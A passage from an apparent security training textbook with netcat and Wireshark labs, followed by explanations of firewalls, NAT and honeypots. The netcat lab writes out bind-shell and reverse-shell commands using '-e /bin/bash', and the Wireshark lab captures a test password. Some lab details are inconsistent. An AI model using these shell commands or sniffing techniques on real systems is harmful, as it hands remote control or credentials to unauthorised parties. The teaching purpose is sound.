8. Hex dump of transmitted and received data

9. Optional ability to let another program service established connections

10. Optional telnet-options responder

Featured tunneling mode which allows also special tunneling such as UDP to TCP, with the possibility of specifying all network parameters (source port/interface, listening port/interface, and the remote host allowed to connect to the tunnel.

126

PART 2

LAB EXCERCISES

Lab Experiment Requirements:

We need for this lab two machines , the first that runs BackTrack 3 and the other runs Windows XP .

Procedures :

Part 1 : Listening on a TCP/UDP port with Netcat

Listening on a TCP/UDP port using Netcat is useful for network debugging client applications, or otherwise receiving a TCP/UDP network connection. Let’s try implementing a simple chat using Netcat.

1. From Backtrack : we want to listen on port 4444 and accept incoming connections on this port , type:

nc -lvvp 4444

Check to see that port 4444 is indeed listening using netstat

You will see

listening on [any] 4444 ...

2. From Windows XP: connect to port 4444 on your Backtrack by typing

nc -vv 10.10.136.85 4444

3. After connection established we can start chat as shown in Figure 1 and 2.

127

PART

2LA

B E

XCER

CISE

S

Part2 : Transferring files with Netcat

Netcat can also be used to transfer files from one computer to another. This applies to text and binary files.

In order to send a file from Computer 2 to Computer 1, try the following:

From Backtrack : We’ll set up Netcat to listen to and accept the connection and to redirect any input into a file.type

nc -lvp 4444 > output.txt

In Windows machine we create text file secu.txt; then we connect to listening Netcat on computer 1 (port 4444) and send the file,type:

C:\>nc -vv 192.168.129.1 4444 < test.txt

The connection will established and the file will transferred to Backtrack and this is shown in figure 3 and 4

128

PART 2

LAB EXCERCISES

From backtrack : check that the file was transferred correctly , as shown in figure 5 type:

Cat out.txt

Part 3 : Remote Administration with Netcat (Remote Administration with Netcat):

One of Netcat’s neat features is command redirection. This means that Netcat can take an exe file and redirect the input, output and error messages to a TCP/UDP port, rather than to the default console.Take for example the cmd.exe executable. By redirecting the stdin/stdout/stderr to the network, we can bind cmd.exe to a local port. Anyone connecting to this port will be presented with a command prompt belonging to this computer.Bind Shell

1. From Backtrack : type C:\>nc -lvvp 4444 -e /bin/bash ;so that Anyone connecting to port 4444 on this machine will be presented with command prompt, with the permissions that nc was run with. As shown in figure 6.

129

PART

2LA

B E

XCER

CISE

S

From Windows :type nc -v 10.10.36.144 4444 to connect to other machine that listening on port 4444 as illustrated in figure7 ; after connection established you will presented with the shell of Backtrack.

Now we can use any available command as we in front of the remote PC.(as example : try ifconfig as shown in figure xxxxx)

Remember that ifconfig is used only by linux that means we are sure that we remotely administer backtrack by its shell.

Reverse shell

Another interesting Netcat feature is the ability to send a command shell to a listening host. So in this situa-tion, although Alice cannot bind a port to cmd.exe locally to her computer and expect Bob to connect, she can send her command prompt to Bob’s machine.

1. From Windows :type nc -lvvp 5555 ; now windows is listening on port 5555 and waiting in-coming connection.

2. From Backtrack: type nc -v 10.10.36.145 5555 -e /bin/bash ; now you try to connect to windows machine and send your shell (backtrack shell) to it.

3. After connection established we can use backtrack commands :

First I try to use unrecognized command , an error message of backtrack appears ; then I try ifconfig that give me the ip of backtrack.

Figures 8 and 9 shows this process before connection and after connection reversed with command line of backtrack and simple command execution from remote computer that run windows XP.

130

PART 2

LAB EXCERCISES

Conclusion:

Netcat has other nice features and uses such as simple sniffing abilities, port redirection and others which you can learn about if you interested.

Now How to I get Netcat to run on the victim machine, without remote user intervention? The answer to this question is simply “remote code execution”. Ninety percent of attack vectors can be summarized with the pair of words “code execution”. For example, attacks such as Buffer Overflows, SQL injection, File Inclu-sion, Client Side Attacks, Trojan Horses - all aim to result in “code execution” on the victim machine. Simple using for this will be presented in virus and Trojan experiments.

131

PART

2LA

B E

XCER

CISE

S

WIRESHARK - Password Sniffing Lab

What You Need for This Project

A computer running any version of Windows, with Internet access. You need administrator privileges.

Installing the Wireshark Packet Sniffer

1. Open a Web browser and go to WireShark.org

2. Download and install the latest version of Wireshark. The installer will also install WinPCap.

3. Starting a Packet Capture

Click Start, All Programs, Wireshark, Wireshark.

4. From the Wireshark menu bar, click Capture, Interfaces.

5. In the “Wireshark: Capture Interfaces” box, find the Interface with an IP address starting with 192.168.1. In the example as shown below on this page, it’s the top one. This interface should show some packets passing through it, because it’s connected to the network. Click the Start button in that interface’s line.

LEGAL WARNING!

Use only machines you own, or machines you have permission to hack into. Hacking into machines without permission is a crime! Don’t do it! If you do illegal things, you may be arrested and go to jail, and I will be unable to save you. These instructions are intended to train computer security professionals, not to help criminals.

Starting a Packet Capture

1. Click Start, All Programs, Wireshark, Wireshark.

2. From the Wireshark menu bar, click Capture, Interfaces.

3. In the “Wireshark: Capture Interfaces” box, find the Interface with an IP address starting with 192.168.1. In the example as shown below on this page, it’s the top one. This interface should show some packets passing through it, because it’s connected to the network. Click the Start button in that interface’s line.

4. You should see packets being captured and scrolling by, as shown below on this page. Every packet sent from or to your machine is shown here. But it shows a lot more information than you usually want to know.

 

132

PART 2

LAB EXCERCISES

Sending a Test Password to Wikipedia

Open Firefox and go to wikipedia.com

1. Click English

2. On the top right of the screen, click “Log In”.

3. Enter a Username of joe and a Password of topsecretpassword as shown to the right on this page.

4. Do NOT put in your real user name and password! As you will see, this Web page is not secure. After this lab, you might not want to use it anymore!

5. Click the “Log In” button. If you see a message asking whether to remember the password, click “Not Now”.

6. In the Wireshark window, box, click Capture, Stop.

Observing the Password in Wireshark

1. In the Wireshark window, box, click Edit, “Find Packet”.

2. In the “Wireshark: Find Packet” box, click the String button. Enter a search string of secret, as shown to the right on this page. Click Find.

 

 

133

PART

2LA

B E

XCER

CISE

S

Wireshark finds the text. It highlights a packet with an Protocol of HTTP and Info of “POST /w/index.php”, as shown below on this page.

In the center pane of the Wireshark window, expand the item labeled “Line-based text data” and you should see your password right in that line, as indicated in the figure below. The password can also be seen at the lower right, in the byte-by-byte raw packet data.

 

  Password  

134

PART 2

LAB EXCERCISES

Saving the Screen Image

Make sure the captured password is visible in the Wireshark window.

Press the PrintScrn key in the upper-right portion of the keyboard.

Click Start and type in Paint. Click Paint.

Press Ctrl+V on the keyboard to paste the image into the Paint window. Save the document with the filename Your Name Proj 3.

Close Paint

Starting Another Packet Capture

From the Wireshark menu bar, click Capture, Start.

A pops up asking “Save capture file before starting a new capture?” Click “Continue without saving”.

Using a Secure Password Transmission

In Firefox, go to gmail.com. Log in with the fake name JoeUser and password topsecretpassword, as shown to the right on this page.

In the Wireshark window, box, click Capture, Stop.

Observing the Password in Wireshark

In the Wireshark window, box, click Edit, “Find Packet”.

In the “Wireshark: Find Packet” box, click the String button. Enter a search string of secret. Click Find.

A box pos up saying “No match found!”, as shown to the right on this page. The password cannot be found because Gmail encrypts it before transmitting it.

Turning in your Project

Email the JPEG image to me as an attachment to cnit.120@gmail.com with a subject line of Proj 8 From Your Name. Send a Cc to yourself.

Lesson 1 Firewall & Honeypot Concepts

Lesson 2 IDS & NIDS Concepts

Lesson 3 Ecryption Mechanism

Lesson 4 Steganograpic Threat

PART 3 Understanding Security Services & Protocols

136

FIREWA

LL & H

ON

EYPOT

CON

CEPTS

FIREWALLS & HONEYPOTS

In this module, we introduce you to two specific methods for managing information risk: firewalls and hon-eypots. Both of these operate within the network to protect your systems as well as to help protect the sys-tems of others on the Internet. By the end of this module, you will understand what firewalls and honeypots are, what they can do for you, the major types available, and how to conform them to your organization’s policy. Also, you will come away understanding their benefits and their shortcomings.

Firewalls

Firewalls are some of the most versatile and important components in the information security arsenal. In this section, we’ll start with an overview of what they are, what they are good for, and how they fit into the overall information security picture. Then, we’ll dive into details to equip you to establish and deploy firewall policies, utilizing different types of firewalls as appropriate.

Overview of Firewalls

Before we drill down into the bits and bytes of firewalls, let’s establish a sense of how firewalls fit into the big picture of information security - what some of their benefits and shortcomings are. First, what is a firewall?

A firewall is a means to control what is allowed across some point in a network as a mechanism to enforce policy. It takes its name from the firewall that is meant to prevent the spread of fire from one portion of a structure to another within a building. Firewalls are utilized at a variety of network locations, of which two are:

1. Between the public Internet and an organization’s private internal network

2. Between a PC’s network interface card (NIC) and the rest of the PC Firewalls may be implemented as:

3. Dedicated network appliances (there seems to be a distinct trend toward appliances)

4. Hardware or software inserted into a network device such as a router (that is primarily performing other duties)

5. Software running on a general purpose computer

Before appliances, advanced firewalls typically were created by installing software on a general-purpose computer, and the installation usually ìhardenedî the computer. In recent years, personal firewalls have be-come popular and important on individual PCs.

Figure 3.0

137

FIRE

WA

LL &

HO

NEY

POT

CON

CEPT

S

Firewalls As Part of the Big Picture

A firewall is most commonly deployed at boundaries between your site and the Internet. There is a point of demarcation where your Internet Service Provider’s network ends and yours begins.

In this slide, the cyberscape shows the attacker at the right and the target or defender on the left. In Mod-ule ,you learned about Indications and Warnings, a technique to determine what the attackers are going to do before they do it. There also are countermeasures that can be applied before the attack gets to you. For instance, if an Internet service provider (ISP) detects the attack, it may be able to filter the attack so that its packets never leave the ISP’s network. Does that sound impossible? It is not! This simple technique, if widely applied, would greatly reduce the number of attacks on the Internet. As you can see, however, the place-ment of your firewall is a key element of your overall security strategy.

Benefits of Firewalls

1. Firewalls are interesting in that they can play a variety of roles, each with significant benefits. Besides just enforcing an organization’s security policies, firewalls can:

2. Reduce risks by protecting systems from incoming and outgoing attempts to exploit vulnerabilities.

3. Increase privacy by making it harder to gather intelligence about a site.

4. Filter communications based upon content, such as offensive or malicious content coming in or propri-etary content flowing out of an organization.

5. Encrypt communications for confidentiality.

6. Provide records concerning both successful and blocked network traffic, which may be critical for inci-dent handling and forensics.

7. Serve as a ìnoise filterî and conserve bandwidth.

Shortcomings of Firewalls

With the value that firewalls offer, it can be tempting to think that they are cure-alls. They are not. Firewalls are not bulletproof. They do not stop all attacks. In fact, they can be attacked themselves. Many people foolishly have blind faith in firewalls. You will hear statements like, We are behind a firewall. Why do we need to put patches on our systems, or use access controls on our web servers?One of the downsides of having a firewall is that an organization can become careless about other aspects of security. The best way to think of a firewall conceptually is like an umbrella. When you use an umbrella, it keeps a lot of the rain off you, especially your head. However, some of those raindrops get through the perimeter defense. In information warfare, we call these leakers.

138

FIREWA

LL & H

ON

EYPOT

CON

CEPTS

Firewall Policies & Rule

As we said earlier, firewalls enforce policy. Organizational policy (and authority and commitment) should flow down to firewall policy, which is embodied in a set of firewall rules. Experience has taught us that firewall policies must be empowered by and linked to organizational policy and not just be a creation in and of themselves. Of necessity, the firewall rules must be detailed and technical, usually quite the opposite of organizational policy.

Consider this example: Your organization may have a policy that states chatting on the Internet is not allowed. People can (and will) still connect to Internet Relay Chat (IRC) servers. However, if you create a rule on your firewall that does not allow traffic with destination port TCP 6667 out or source port 6667 in, then people will have a much harder time connecting to IRC.

A simple rule to block IRC might look like this:

SourceIP DestIP Service Action

ANY ANY IRC Drop

The more years you work in security, the more you learn people will argue with you. You can, and should, write a security policy; however, unless it is enforced, it doesn’t change anything. Additionally, nobody should argue with a firewall when it enforces policy. Firewalls are mechanisms that implement your orga-nization’s security policies through enforcement of the firewall’s rule sets. Module 8 provides much more insight into organizational and individual security policies and the criticality of support from the top of the organization.

Think of a firewall as a door that can be opened or closed to certain addresses or types of traffic. The rules that define this behavior are enforced by a policy engine within the firewall, which will, in the absence of a specific rule, cause the door to remain open or closed by default.

Default Rule

Firewalls are designed with something called a default rule: If a packet doesn’t match another rule, the de-fault rule drops the packet. This is known as deny all except that which is explicitly allowed. Firewall adminis-trators who override this rule create an allow all except that which is explicitly denied policy.

This is one reason your security policy must be linked to your organizational policy. Either you make the detailed decisions necessary to establish firewall rules in accordance with the organizational policy, or you make them arbitrarily. They likely will not withstand organizational pressure over time if they are arbitrary.

What should your site’s policy be? Should it be permissive or restrictive? After you have completed this book, you will understand many aspects of this question, but for now here are some considerations. If the em-ployees at a site, such as a high security military site, do not have much personal freedom, a very restrictive firewall policy works well. If they do have a large degree of personal freedom, then they will circumvent the firewall policy. Three methods to do this include installing modems, setting up wireless access, and imple-menting peer-to-peer file sharing.

University networks often are permissive, especially the student portion. Needless to say, permissive firewall rule sets have their own problems. Organizations that have a permissive policy and do not block the items on the top twenty list1 are operating at a significant risk, unless they are using other countermeasures. This list is a good starting point for evaluating potential firewall rules.

Each type of packet that the firewall blocks increases the security of an organization because that is one more potential threat that cannot enter the security perimeter.

139

FIRE

WA

LL &

HO

NEY

POT

CON

CEPT

S

Ingress Filtering

Ingress filtering refers to filtering applied to incoming traffic - from the perspective of your network. Gener-ally, most of the firewall rules are applied to inbound traffic, and many resources are available for determin-ing what to do. In addition to information from the firewall manufacturer, other resources include:

RFC 2827 - Network Ingress Filtering: Defeating Denial of Service Attacks which employ IP Source Address Spoofing (http://www.ietf.org/rfc/rfc2827.txt)

Packet Filtering for Firewall Systems (http://www.cert.org/tech_tips/packet_filtering.html)

Consider this simple example: All inbound packets should be dropped if they contain a source address from within the protected network address space. Whether these packets are the results of an attacker spoofing your address or a routing problem, they should not be allowed in. In the event that internal packets inadver-tently have been routed to the public network, this rule will make both the routing error and the failure to block them with appropriate egress filtering conspicuous so that these errors can be corrected.

Egress Filtering

Egress filtering applies to filtering outbound traffic. When the term is used by itself, this generally means filtering for addresses. Because of personal firewalls, egress filtering applies to individual computers as well as to networks.

Flooding Denial of Service attacks often use a faked source address so that it is hard to pinpoint the location of the attacking computer. These attacks are not elegant; they simply spew packets at the maximum rate possible. They can be launched by malicious users who are ìplayingî with their computer systems, but also they can be launched from compromised computers or systems infected with Trojans or other malicious software.

Here’s a specific example from CERTÆ Incident Note IN-2002-04, Exploitation of Vulnerabilities in Microsoft SQL Server (http://www.cert.org/ incident_notes/IN-2002-04.html). In May, 2002, CERT recommended that organizations connected to the Internet use egress filtering to block outbound connections to TCP port 1433 as a measure to help prevent the spread of the Spida worm. In the event that your systems were affect-ed by Spida, this filtering could stop Spida from spreading to systems belonging to other organizations.

If your site applies egress filtering at the access point between your site and the Internet, you obviously are being a good neighbor (and being prudent with regard to downstream liability). Egress filtering also is a wonderful intrusion detection technique, utilizing your firewall log files. Suppose one of your internal ma-chines has been infected with a macro virus. Indirectly you can detect this by noting its attempts to spread through outbound traffic. Failure to detect this and take action raises issues of downstream liability.

CERT Advisory CA-1996-21 TCP SYN Flooding and IP Spoofing Attacks (http://www.cert.org/advisories/CA-1996-21.html)

140

FIREWA

LL & H

ON

EYPOT

CON

CEPTS

Destination Port Filtering

Although egress and ingress filtering focus on the IP addresses in packets, the most common general filters focus on destination ports. The destination port is a two-byte field in a TCP or UDP packet header.

The Internet Assigned Numbers Authority (IANA) is responsible for maintaining a list of registered port numbers. Unless specifically stated, these port numbers refer to the server port number. Clients generally connect with a nonregistered port number called an ephemeral port. Different operating systems choose different ranges for ephemeral ports, but the range is almost always above 1024 and limited by the upper range of 65,535.

Because the client operating system controls the source port number, filtering on the source port might not be an effective technique. An attacker can force his operating system to use any source port number when attempting to bypass a firewall rule.

Internet Assigned Numbers Authority - TCP/UDP Port Number Reference (http:// www.iana.org/assign-ments/port-numbers)

With TCP and UDP, well-known services are found by their port numbers. In the honeypots section, we intro-duce TCP 23 (telnet) and TCP 143 (IMAP). Others you should know by memory are TCP 20 and 21 (FTP), TCP 22 (SSH), TCP 25 (SMTP), TCP 79 (Finger), TCP 110 (POP3), TCP 80 (HTTP) and its encrypted equivalent TCP 443 (HTTPS), and TCP 53 and UDP 53 (DNS).

For a quick lookup of well-known port numbers on a Unix system, look in /etc/services.

Managed Access to Screened Networks

The security ramifications of different network topologies were covered in a previous module. But consider the simple topology shown in this slide as an example of what can be done with modern firewalls. Instead of using a two-port firewall, with one interface for the public Internet and the other for the internal network, this slide shows a third port being used for a screened, or protected subnetwork, also known as a DMZ.

You can host on this subnet the systems that provide the services, which need to be accessed from the public network and prevent direct access to internal systems from the public network, too. In the slide, the firewall can be configured to allow access only to the few needed ports: TCP 25 (SMTP), 53 (DNS), and TCP 80 (HTTP).

Because the number of services offered can be small, the network access can be very tightly constrained. This can be invaluable because attackers often probe multiple ports looking for vulnerabilities, and most such attempts simply can be blocked at the firewall. (It’s still appropriate to harden the subnet servers and not rely solely on the firewall for protection.) Modern firewalls can support a large number of interfaces, and Ethernet cards are inexpensive, so there is no reason not to segment your network to improve security.

The important point here is that you can then avoid opening these ports to your internal network. Ports 53 and 80 are on the current list of the top twenty most exploited services, and throughout history, sendmail (port 25) attacks have been some of the most serious of all.

141

FIRE

WA

LL &

HO

NEY

POT

CON

CEPT

S

Types of Firewalls

Firewalls vary in approaches and features, costs, and ease of management. In the following sections, we’ll introduce you to the packet filter, network address translation, proxy or application gateway, personal, and stateful inspection types of firewalls. Furthermore, we’ll examine some common firewall tools that can pro-vide additional protection.

Packet Filter

Packet filters are low-end firewalls; they were the first to be deployed widely because they could be imple-mented with already existing network hardware, such as routers. Such hardware is adept at looking at fields in packets and can do so very quickly, although you need to be sensitive to the load on the hardware and size it appropriately. Firewalls that use this technique are the fastest, often the cheapest, and make great noise filters ahead of more advanced types of firewalls. The best-known example of a packet filter is a Cisco router.

The packet filter’s speed comes at a tradeoff, though, as this rather simplistic perimeter defense can be fooled easily; many techniques for doing this have been automated and are widely available. But just be-cause more sophisticated firewall technology exists and is usually needed, don’t think that there’s no longer a place in network security for packet filters.

Fooling Packet Filters

So, what are some of the ways that packet filters can be fooled? They rely on destination ports - recall the discussion we just had about them. SMTP is expected to run on port 25. If you are looking to communicate with a mail server, you certainly will try port 25. But nothing prevents you from running a service on any random port. Consequently, opening up port 25 on a packet filter to allow the flow of e-mail exposes the network to the possibility that other kinds of traffic will flow through this opening. Software is readily avail-able to ìtunnelî virtually any network traffic through any open port on a packet filter.

As an example, a corporation may develop a policy that all corporate web services are to run on one internal server. If this company’s network is protected by a permissive packet- filtering firewall, then a firewall admin-istrator could implement a rule which blocks incoming port 80 traffic to all addresses except the web server. Such a rule, however, would not strictly enforce the company’s policy; as someone could set up an internal web server that listens for incoming traffic on some port other than 80. Remember that although port 80 is standard for web traffic, it is not absolute.

Another class of problems with packet filters is their lack of ìstate knowledge.î As each individual packet arrives, packet filters must decide to forward it or discard it, and they must make this decision without considering any previous packets. Remember that nearly all network traffic is bi-directional. If an organiza-tion’s policy is to only allow outbound traffic, what they really mean is to only allow traffic which is initiated outbound. It is difficult for a packet filter to distinguish between inbound packets that are a consequence of an outbound-initiated connection, which must be allowed in, versus others that should be disallowed.

142

FIREWA

LL & H

ON

EYPOT

CON

CEPTS

NAT & Private Addresses

Network Address Translation (NAT) and Private Addresses

Network Address Translation (NAT) is a wonderful tool and should be employed whenever possible. It en-ables many more computers to participate in the public Internet than available addresses would otherwise allow and provides a degree of privacy regarding your internal network structure.

Did you know that we are running out of Internet address space? It really doesn’t seem possible. After all, there are 68,719,476,736 Internet addresses available for use. However, in practice, many of the possible addresses are wasted, especially in the United States. Network Address Translation is a solution to the dwin-dling number of available addresses because you can connect an entire network to the Internet with only a single IP address.

Besides being a good neighbor and not using more than your share of addresses, using NAT means that your host systems are shielded from the Internet from a reconnaissance point of view and are protected by the filtering performed by the firewall.

RFCs (Request for Comments) Related to NAT

Internet standards are called RFCs (Request for Comments). They are numbered sequentially and never modified unless to indicate that it has been superceded by another RFC. If one is updated, the revised stan-dard is issued a new number. Thus, a number of variations of NAT are outlined in the Request for Comments (RFC). Generally, we use NAT in the outbound direction, from your network to the Internet. We might also use Network Address and Port Translation. This is best explained with a common example. Suppose your site has NAT, and you also choose to use an outbound proxy for HTTP. You would need to give your web browser the internal IP address and port number for your proxy server. This is done in Internet Explorer by selecting Tools, Internet Options, Connections, LAN Settings, and then by selecting the appropriate proxy settings.

RFC 1918 is a very important standard because it sets aside the following networks as private address space:

Net 10.0.0.0 - 10.255.255.255

Net 172.16.0.0 - 172.31.255.255

Net 192.168.0.0 - 192.168.255.255

Packets using these addresses are not supposed to leave your facility, and if they do, ISPs are not supposed to route them to the Internet. But they are available for your organization to use freely on your internal net-work - and they represent much more address space than you currently could acquire on the public Internet.

143

FIRE

WA

LL &

HO

NEY

POT

CON

CEPT

S

SOURCE NAT

Communicating on the Internet While Using Private Addresses Internally

In the module, we have a diagram of a network with private addresses. Outgoing traffic passes through a firewall that performs NAT before reaching the Internet. We can assign a single public address or block of public addresses to the firewall’s external interface. These public addresses are the only Internet addresses from our site that the Internet sees. Our internal network consists entirely of private addresses, as defined in RFC 1918. When an internal computer (such as 172.16.1.10) initiates a connection to the Internet, the NAT device modifies the outbound packet as follows:

The NAT device notes that the outbound session is a SYN packet initiated from an internal private address. This private address (172.16.1.10) is noted along with the destination address and port of the outbound con-nection. These settings are assigned a session ID and are used to track the state of the connection.

The NAT device then changes the source IP of these packets, replacing the internal private address with the public address of the NAT device’s external interface. The packets are then passed to the Internet. This way, all traffic presented to the Internet from this site appears to be coming solely from one address (128.38.1.1 in the slide), the NAT device itself.

After the packet is received by its destination server on the Internet and a reply packet (SYN/ACK) is sent back, the NAT device takes this return packet and modifies it so the destination address is the internal private address (172.16.1.10) of the workstation that originated the session. These return packets are un-destood to be the return handshake for the original outbound connection, based upon the session ID infor-mation recorded when the SYN packet was first passed to the Internet.

As you might note, it was the source IP address that was modified when this connection first passed through NAT. This is referred to as Source (address) NAT or SNAT. When someone talks about NAT and does not speci-fy further, they probably are talking about Source NAT.

172.16.1.30

172.16.1.40

172.16.1.10

172.16.1.20

NAT DEVICE

INTERNET

INTRANET

144

FIREWA

LL & H

ON

EYPOT

CON

CEPTS

SNAT

SOURCE172.16.1.10SPort: 2160

DESTINATIONwww.google.com

Dport: 80

SOURCE128.38.1.1SPort: 2160

DESTINATIONwww.google.com

Dport: 80NAT DEVICE

NAT DEVICEExternal IP : 128.38.1.1 -><-Internal IP : 172.16.1.1

Let’s take a further look. A host on the inside, the protected network, wants to go to www.google.com. The firewall sees a packet with a destination port of 80 (HTTP), a source port of 2160, and the SYN flag set, meaning the internal host wants to initialize the connection. When the packet goes through the firewall or perimeter device, it uses its own public IP address in place of the original private address before passing the packet to the Internet. When Google responds, it responds back to the public IP address of the NAT device.

How does it do this? Recall our packet filter discussion on source and destination ports. The port field was two bytes long or 16 bits. 2**16 is 65,536; because 0 is not a legal port value, this leaves us with 65,535 pos-sible source or destination ports. This means that a firewall can track up to 65,535 concurrent connections from a single NAT address.

Some firewalls can use a technique called proxy arp to utilize an external NAT address that isn’t actually con-figured on the firewall. This allows you to determine which outbound traffic originated behind the firewall and which traffic originated on the firewall itself. The firewall sends gratuitous arp packets to the upstream router to make this technique work.

Finally, many firewalls can use multiple external addresses in an external NAT pool. This enables you to in-crease the number of NAT sessions the firewall can handle.

A firewall can track up to 65,535 concurrent connections from a single NAT address.

The response to a SYN is a SYN/ACK. Because we are now looking at the initial return packet, Google is the source IP address, and the destination address is the NAT device’s public IP address.

The firewall NAT has reserved connections to port 2160 from Google for the internal host that initiated the connection. Then the internal host replies with an ACK to complete the three-way handshake. This packet is then passed through NAT and onto the Internet to continue the session.

The important point here is the Internet host, in this case Google, never directly connects to the internal host. Google only sees the NAT Internet address of the firewall. This increases the privacy for the internal hosts. NAT is available on most perimeter defense products and is highly recommended. A more in-depth look at NAT is available at How Network Address Translation Works (http://www.howstuffworks.com /nat.htm/printable).

SOURCE172.16.1.10SPort: 2160

DESTINATIONwww.google.com

Dport: 80

SOURCE128.38.1.1SPort: 2160

DESTINATIONwww.google.com

Dport: 80NAT DEVICE

NAT DEVICEExternal IP : 128.38.1.1 -><-Internal IP : 172.16.1.1

Translated SYN-ACK RESPONSE SYN/ACK RESPONSE FROM GOOGLE.COM

145

FIRE

WA

LL &

HO

NEY

POT

CON

CEPT

S

Proxy or Application Gateway

Packet filters are fast, but they can be fooled; they trade speed for security. Proxy firewalls are at the opposite end of the spectrum. Among firewalls, they generally are the slowest in performance and the most inconve-nient to manage, such as when a new protocol isn’t yet supported; however, proxy firewalls usually provide the best security. In an environment that requires the high security of a proxy firewall, the default rule always will be to ìdeny if not explicitly allowedî. This can be a real problem when a proxy isn’t yet available for some new protocol. The most popular proxy firewalls are Sidewinder, Raptor (now Symantec Enterprise Firewall), and Gauntlet.

Proxy firewalls essentially tear down each packet layer-by-layer on one interface and build it back up on the opposite interface. From the perspective of the source, the traffic flows to the destination. But the traffic actually is delivered to a virtual destination just inside the proxy firewall, on the input side, where it is disas-sembled and examined. If the policy being enforced allows this traffic through, it is regenerated (proxied on behalf of the source) on the output side of the proxy firewall. All of this effort results in poorer performance and cost, but tighter security.

The proxy firewall must maintain a complete TCP connection state and sequencing through two connec-tions:

The session user (the source) to the proxy

The proxy to the destination server

Proxy firewalls use process tables to keep the connections straight.

From the perspective of the destination, the traffic came from the proxy firewall and not from the source. By virtue of this, all proxy firewalls perform address translation. This can be a ìdouble-edged swordî; for exam-ple, a destination server enforcing a policy on the addresses of allowed sources will be seeing the address of the proxy rather than that of the original source. Suppose a server will only accept a connection from a client with an address of 1.2.3.4, but there is a proxy firewall (with an address of 2.3.4.5) in the path between the client and server. The server will deny the connection requests from the client because the request arrives at the server with an address of 2.3.4.5, which is not allowed.

Although the server can be changed to allow connections from the proxy address, all connection attempts will arrive with this address and will be indistinguishable at the IP layer. The server’s security approach will have to be reengineered.

If outbound traffic is proxied, the web browsers (and perhaps other applications) at each internal desktop

might have to be altered to use the proxy. This can be a painful issue in a large environment.

146

FIREWA

LL & H

ON

EYPOT

CON

CEPTS

Personal Firewall Types

Now we’re going to change the context from firewalls that control traffic on relatively large networks and protect many computers to firewalls that protect individual computers and most often exist as software within those computers. Although small, inexpensive firewall appliances exist, personal firewalls usually are thought of as software residing on an individual computer, often a PC.

Heated discussions about the proper approach to take are common within the security field, and personal firewalls are no exception. A variety of approaches and products exist. The opinions of Steve Gibson of Gib-son Research Corporation (www.grc.com) make a good starting point for further (heated) reading about per-sonal firewall approaches and products on the web. He particularly emphasizes outbound filtering, which is absent on many personal firewalls. This is consistent with the egress filtering that we described earlier as being important. Network Computing reported on personal firewalls in Defending Your Turf From Within, which you can find at http://en.wikipedia.org/wiki/Personal_firewall

The packet filter approach to personal firewalls looks at packets coming from the network to the PC. These tend to treat the PC as the trusted domain. The finest example of this was ConSeal (http://www.consealfire-wall.com), which was a wonderful educational tool since it allowed the user to write access rules in a similar manner to router ACLs. In 2003, the original author of ConSeal founded 8Signs Software and re-released the firewall under the name 8Signs Firewall. BlackIce is analogous to a packet filtering firewall and by default fo-cuses on inbound packets coming from the network - the untrusted domain - to the PC, the trusted domain. However if you set trust.myself = false, BlackIce checks outgoing in addition to incoming.

One of the most popular approaches to commercial personal firewalls is application control firewalls. Zone Labs’ ZoneAlarm, Symantec’s Internet Security and Tinysoft’s Tiny Personal Firewall are examples. These have the capability to screen incoming packets, but also keep a set of rules for applications. This allows the trust domain to be much more granular. For example, you could configure a rule to allow the specific application Internet Explorer to connect to a specific IP address or a specific port. The significance of this as a user is that when an unknown application on the PC attempts to access the Internet, it is detected by the firewall, and the user is given an opportunity to approve the connection or refuse it. If you read Steve Gibson’s opinions at C & C’s web site, you will see that he highly favors ZoneAlarm and its application-by-application egress filtering.

Under Unix, the systrace tool can provide granular control of applications through system call restrictions. Once configured, this tool can reduce the risk of exploitation by restricting the system calls a daemon can make and the files the daemon can read, write, and execute. For instance, you can configure systrace to ensure that the Apache HTTP server never executes /bin/sh or binds to a port other than 80 or 443. These techniques are commonly used in exploits against network daemons. systrace was written by Niels Provos. (http://www.citi.umich.edu/u/provos/systrace/) and is available under a number of Unix systems, notably NetBSD, OpenBSD, FreeBSD, MacOS X, OpenDarwin, and Linux.

On Unix platforms, several solutions are available for local firewalling. Under the Linux 2.2 kernel series, ipchains can provide basic packet filtering, and on the Linux 2.4+ kernel, netfilter (aka iptables) was imple-mented to provide full stateful firewall functionality. Darren Reed’s IPF package can provide stateful filtering for Solaris, FreeBSD, NetBSD, and HP-UX. The PF package can provide stateful filtering under OpenBSD.

Personal firewalls can be quite affordable - or free for personal use and $80+ (U.S.) for commercial use. They should be a requirement for any computer that is not protected by a network firewall under your organiza-tion’s control, such as when your home PC is connected to the Internet or a laptop is connected to someone else’s network

147

FIRE

WA

LL &

HO

NEY

POT

CON

CEPT

S

Proxies and Stateful Inspection

We couldn’t end the discussion of firewall types without the mention of FireWall, both because it is the number one selling firewall and because it takes a slightly different approach. It is neither a proxy (though it can be a proxy) nor a packet filter (though it can do that as well). The idea here is to be like a packet filter, but also to take a sneak peek into the content and make sure it is what it claims to be.

Let’s go back to the situation with a packet filter. If a user on a computer wants to run an unauthorized web server on port 8000, he can. If he wants to run it on port 25, he can, as long as he has root privileges on the Unix box, or belongs to the Power Users group on Windows NT/2000/XP/2003/2008. He can run the web server on any port that your site opens on the firewall, and most sites have something open.

HTTP has three fundamental operations: GET, PUT, and POST. With stateful inspection, the firewall can take a glance at the packet and see if it is, or is not, HTTP. Every TCP- based protocol has state, so this can be done for any TCP-based service. (Remember, UDP is stateless.) Can it be defeated? Yes, but the point is this is an engineering tradeoff between performance and security and is worth a look. Other well-known examples of stateful firewalls include Cisco’s PIX - and to some extent their routers with the Firewall Feature Set of IOS - and the free Linux firewall, IPtables.

Final Thoughts on Firewalls

We have learned a lot about firewalls. They give cost-effective protection and intrusion detection. If you think about it, the default rule (deny all except that which is allowed) is why they work so well for intrusion detection. Regardless of which firewall you use, the logs are very important tools for intrusion detection and forensics. Remember to keep the system clocks in sync.

There are many types of firewalls, although they tend to end up in one of three categories: proxy or applica-tion gateway, stateful inspection, or packet filter. These provide a mix of capabilities to meet your require-ments.

148

HO

NEYPO

TS

Honeypots and Honeynets

A honeypot is a system set up for the purpose of being victimized by attackers and sacrificed in lieu of your production systems. Doing so can give you considerable visibility into the approaches of attackers target-ing your network, and hopefully the honeypot takes the brunt of attacks that otherwise might be directed against your production systems. In this section, we introduce you to what they are, why you might need them (or want to defer using them), why we’d all be better off if they were widely deployed, and some example implementations. Until case law catches up with the use of honeypots, it may be prudent to set up honeypots and expose them to potential attack, but not actually do anything to solicit attacks. We talk more about this later.

